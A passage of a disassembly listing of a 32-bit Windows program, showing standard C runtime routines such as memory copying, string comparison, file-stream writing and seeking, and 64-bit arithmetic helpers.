		jmp	dword ptr loc_41CDE8[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41CCEC:				; CODE XREF: sub_41CC90+31j
					; sub_41CC90+8Ej ...
		jmp	off_41CD6C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_41CD00
		dd offset loc_41CD2C
		dd offset loc_41CD50
; ---------------------------------------------------------------------------

loc_41CD00:				; DATA XREF: sub_41CC90+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41CD2C:				; DATA XREF: sub_41CC90+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_41CD50:				; DATA XREF: sub_41CC90+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CD6C	dd offset loc_41CDCF	; DATA XREF: sub_41CC90:loc_41CCECr
		dd offset loc_41CDBC
		dd offset loc_41CDB4
		dd offset loc_41CDAC
		dd offset loc_41CDA4
		dd offset loc_41CD9C
		dd offset loc_41CD94
		dd offset loc_41CD8C
; ---------------------------------------------------------------------------

loc_41CD8C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_41CD94:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_41CD9C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_41CDA4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_41CDAC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax

loc_41CDB4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_41CDBC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41CDCF:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90:off_41CD6Co
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CDD8	dd offset loc_41CDE8	; DATA XREF: sub_41CC90+35r
					; sub_41CC90+92r ...
		dd offset loc_41CDF0
		dd offset loc_41CDFC
		dd offset loc_41CE10
; ---------------------------------------------------------------------------

loc_41CDE8:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_41CDF0:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CDFC:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_41CE10:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CE28:				; CODE XREF: sub_41CC90+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41CE5C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_41CE50:				; CODE XREF: sub_41CC90+1B1j
					; sub_41CC90+208j ...
		neg	ecx
		jmp	off_41CF20[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41CE5C:				; CODE XREF: sub_41CC90+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41CE74
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41CE74+4[eax*4]
; ---------------------------------------------------------------------------

loc_41CE74:				; CODE XREF: sub_41CC90+1D6j
					; DATA XREF: sub_41CC90+1DDr
		jmp	off_41CF70[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CE87+1
		dd offset loc_41CEA8
; ---------------------------------------------------------------------------
		ror	dh, 1
		inc	ecx

loc_41CE87:				; DATA XREF: sub_41CC90+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41CEA8:				; DATA XREF: sub_41CC90+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CF24
		dd offset loc_41CF2C
		dd offset loc_41CF34
		dd offset loc_41CF3C
		dd offset loc_41CF44
		dd offset loc_41CF4C
		dd offset loc_41CF54
off_41CF20	dd offset loc_41CF67	; DATA XREF: sub_41CC90+1C2r
; ---------------------------------------------------------------------------

loc_41CF24:				; DATA XREF: sub_41CC90+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax

loc_41CF2C:				; DATA XREF: sub_41CC90+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax

loc_41CF34:				; DATA XREF: sub_41CC90+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax

loc_41CF3C:				; DATA XREF: sub_41CC90+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax

loc_41CF44:				; DATA XREF: sub_41CC90+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax

loc_41CF4C:				; DATA XREF: sub_41CC90+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax

loc_41CF54:				; DATA XREF: sub_41CC90+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41CF67:				; CODE XREF: sub_41CC90+1C2j
					; DATA XREF: sub_41CC90:off_41CF20o
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41CF70	dd offset loc_41CF80	; DATA XREF: sub_41CC90+1B7r
					; sub_41CC90:loc_41CE74r ...
		dd offset loc_41CF88
		dd offset loc_41CF98
		dd offset loc_41CFAC
; ---------------------------------------------------------------------------

loc_41CF80:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CF88:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CF98:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CFAC:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41CC90	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFC5	proc near		; CODE XREF: sub_40D78B+34p
					; sub_40D78B+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41CFC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFD3	proc near		; CODE XREF: sub_41D040+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4DC95C
		call	sub_422608
		mov	edx, dword_4DC95C
		pop	ecx
		mov	ecx, dword_4DC958
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_41D032
		push	edx
		call	sub_422608
		add	eax, 10h
		push	eax
		push	dword_4DC95C
		call	sub_41B202
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D015
		retn
; ---------------------------------------------------------------------------

loc_41D015:				; CODE XREF: sub_41CFD3+3Fj
		mov	ecx, dword_4DC958
		sub	ecx, dword_4DC95C
		mov	dword_4DC95C, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4DC958, ecx

loc_41D032:				; CODE XREF: sub_41CFD3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4DC958, 4
		retn
sub_41CFD3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D040	proc near		; CODE XREF: sub_40D878+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41CFD3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_41D040	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D052	proc near		; DATA XREF: ___:0042901Co
		push	80h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	dword_4DC95C, eax
		jnz	short loc_41D073
		push	18h
		call	sub_41DA29
		mov	eax, dword_4DC95C
		pop	ecx

loc_41D073:				; CODE XREF: sub_41D052+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4DC95C
		mov	dword_4DC958, eax
		retn
sub_41D052	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D081	proc near		; CODE XREF: ___:0040DB4Bp

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		nop
		call	near ptr 27600EBh
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 2860000h
		mov	ax, [ebp+var_16]
		cmp	ax, word_4DB312
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_18]
		cmp	ax, word_4DB310
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1A]
		cmp	ax, word_4DB30E
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1E]
		cmp	ax, word_4DB30A
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_20]
		cmp	ax, word_4DB308
		jnz	short loc_41D0E6
		mov	eax, dword_4DB300
		jmp	short loc_41D12B
; ---------------------------------------------------------------------------

loc_41D0E6:				; CODE XREF: sub_41D081+28j
					; sub_41D081+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		call	near ptr 2850000h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D113
		cmp	eax, 2
		jnz	short loc_41D10F
		cmp	[ebp+var_32], 0
		jz	short loc_41D10F
		cmp	[ebp+var_24], 0
		jz	short loc_41D10F
		push	1
		pop	eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------

loc_41D10F:				; CODE XREF: sub_41D081+7Aj
					; sub_41D081+81j ...
		xor	eax, eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------

loc_41D113:				; CODE XREF: sub_41D081+75j
		or	eax, 0FFFFFFFFh

loc_41D116:				; CODE XREF: sub_41D081+8Cj
					; sub_41D081+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_4DB308
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_4DB300, eax
		pop	esi

loc_41D12B:				; CODE XREF: sub_41D081+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_422669
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_41D15B
		mov	[ecx], eax

locret_41D15B:				; CODE XREF: sub_41D081+D6j
		leave
		retn
sub_41D081	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D160	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_4DB35C
		cmp	dword ptr [eax+8], 0
		jnz	short loc_41D1B3
		mov	al, 0FFh
		mov	edi, edi

loc_41D17C:				; CODE XREF: sub_41D160+28j
					; sub_41D160+48j
		or	al, al
		jz	short loc_41D1AE
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_41D17C
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_41D17C
		sbb	al, al
		sbb	al, 0FFh

loc_41D1AE:				; CODE XREF: sub_41D160+1Ej
		movsx	eax, al
		jmp	short loc_41D1E7
; ---------------------------------------------------------------------------

loc_41D1B3:				; CODE XREF: sub_41D160+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi

loc_41D1BC:				; CODE XREF: sub_41D160+68j
					; sub_41D160+80j
		or	al, al
		jz	short loc_41D1E7
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_41D1BC
		push	eax
		push	ebx
		call	sub_41D74C
		mov	ebx, eax
		add	esp, 4
		call	sub_41D74C
		add	esp, 4
		cmp	bl, al
		jz	short loc_41D1BC
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh

loc_41D1E7:				; CODE XREF: sub_41D160+51j
					; sub_41D160+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41D160	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41D268
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_41D20B
		cmp	edi, 1
		jz	short loc_41D20B
		cmp	edi, 2
		jnz	short loc_41D268

loc_41D20B:				; CODE XREF: ___:0041D1FFj
					; ___:0041D204j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_41D222
		push	esi
		call	sub_4227C5
		add	[esp+14h], eax
		pop	ecx
		xor	edi, edi

loc_41D222:				; CODE XREF: ___:0041D213j
		push	esi
		call	sub_41DB8B
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_41D237
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41D24B
; ---------------------------------------------------------------------------

loc_41D237:				; CODE XREF: ___:0041D22Ej
		test	al, 1
		jz	short loc_41D24B
		test	al, 8
		jz	short loc_41D24B
		test	ah, 4
		jnz	short loc_41D24B
		mov	dword ptr [esi+18h], 200h

loc_41D24B:				; CODE XREF: ___:0041D235j
					; ___:0041D239j ...
		push	edi
		push	dword ptr [esp+14h]
		push	dword ptr [esi+10h]
		call	sub_42272B
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_41D275
; ---------------------------------------------------------------------------

loc_41D268:				; CODE XREF: ___:0041D1F7j
					; ___:0041D209j
		mov	dword_4DB2A8, 16h
		or	eax, 0FFFFFFFFh

loc_41D275:				; CODE XREF: ___:0041D266j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D280	proc near		; CODE XREF: sub_412B08+19Ep
					; sub_41386B+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41D299
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------

loc_41D299:				; CODE XREF: sub_41D280+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41D280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D2B4	proc near		; CODE XREF: ___:004162E3p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_41D2D8
		xor	eax, eax
		jmp	loc_41D3A5
; ---------------------------------------------------------------------------

loc_41D2D8:				; CODE XREF: sub_41D2B4+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41D2EB
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41D2F2
; ---------------------------------------------------------------------------

loc_41D2EB:				; CODE XREF: sub_41D2B4+2Dj
		mov	[ebp+arg_C], 1000h

loc_41D2F2:				; CODE XREF: sub_41D2B4+35j
					; sub_41D2B4+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41D326
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41D326
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_41D30C
		mov	edi, eax

loc_41D30C:				; CODE XREF: sub_41D2B4+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_41C310
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41D36C
; ---------------------------------------------------------------------------

loc_41D326:				; CODE XREF: sub_41D2B4+47j
					; sub_41D2B4+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41D371
		test	ecx, ecx
		jz	short loc_41D33A
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jnz	short loc_41D3B3

loc_41D33A:				; CODE XREF: sub_41D2B4+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_41D34D
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41D34F
; ---------------------------------------------------------------------------

loc_41D34D:				; CODE XREF: sub_41D2B4+8Aj
		mov	edi, ebx

loc_41D34F:				; CODE XREF: sub_41D2B4+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D3AA
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_41D3AA

loc_41D36C:				; CODE XREF: sub_41D2B4+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_41D39A
; ---------------------------------------------------------------------------

loc_41D371:				; CODE XREF: sub_41D2B4+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41F58A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41D3B3
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_41D39A
		mov	[ebp+arg_C], 1

loc_41D39A:				; CODE XREF: sub_41D2B4+BBj
					; sub_41D2B4+DDj
		test	ebx, ebx
		jnz	loc_41D2F2
		mov	eax, [ebp+arg_8]

loc_41D3A5:				; CODE XREF: sub_41D2B4+1Fj
					; sub_41D2B4+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41D3AA:				; CODE XREF: sub_41D2B4+ADj
					; sub_41D2B4+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_41D3B5
; ---------------------------------------------------------------------------

loc_41D3B3:				; CODE XREF: sub_41D2B4+84j
					; sub_41D2B4+CFj
		mov	eax, edi

loc_41D3B5:				; CODE XREF: sub_41D2B4+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41D3A5
sub_41D2B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D3BE	proc near		; CODE XREF: sub_416908+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		nop
		call	near ptr 268067Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41D3DE
		nop
		call	near ptr 2670D55h
		push	eax
		call	sub_4203DF
		pop	ecx

loc_41D3DA:				; CODE XREF: sub_41D3BE+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_41D3DE:				; CODE XREF: sub_41D3BE+Dj
		test	al, 1
		jz	short loc_41D3FF
		test	[esp+arg_4], 2
		jz	short loc_41D3FF
		mov	dword_4DB2A8, 0Dh
		mov	dword_4DB2AC, 5
		jmp	short loc_41D3DA
; ---------------------------------------------------------------------------

loc_41D3FF:				; CODE XREF: sub_41D3BE+22j
					; sub_41D3BE+29j
		xor	eax, eax
		retn
sub_41D3BE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D410	proc near		; CODE XREF: sub_416922+3Fp
					; sub_41A98C+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41D432
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D473
; ---------------------------------------------------------------------------

loc_41D432:				; CODE XREF: sub_41D410+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]

loc_41D440:				; CODE XREF: sub_41D410+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D440
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D46E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41D46E
		jb	short loc_41D46F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41D46F

loc_41D46E:				; CODE XREF: sub_41D410+4Ej
					; sub_41D410+54j
		dec	esi

loc_41D46F:				; CODE XREF: sub_41D410+56j
					; sub_41D410+5Cj
		xor	edx, edx
		mov	eax, esi

loc_41D473:				; CODE XREF: sub_41D410+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41D410	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D480	proc near		; CODE XREF: sub_416922+2Dp
					; sub_41A98C+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41D4A1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41D4F1
; ---------------------------------------------------------------------------

loc_41D4A1:				; CODE XREF: sub_41D480+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]

loc_41D4AF:				; CODE XREF: sub_41D480+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D4AF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41D4DA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41D4DA
		jb	short loc_41D4E2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41D4E2

loc_41D4DA:				; CODE XREF: sub_41D480+4Aj
					; sub_41D480+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]

loc_41D4E2:				; CODE XREF: sub_41D480+52j
					; sub_41D480+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0

loc_41D4F1:				; CODE XREF: sub_41D480+1Fj
		pop	ebx
		retn	10h
sub_41D480	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D500	proc near		; CODE XREF: sub_416A32+5Fp
					; sub_416A32+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41D521
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx

loc_41D521:				; CODE XREF: sub_41D500+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41D53D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx

loc_41D53D:				; CODE XREF: sub_41D500+27j
		or	eax, eax
		jnz	short loc_41D559
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D59A
; ---------------------------------------------------------------------------

loc_41D559:				; CODE XREF: sub_41D500+3Fj
		mov	ebx, eax
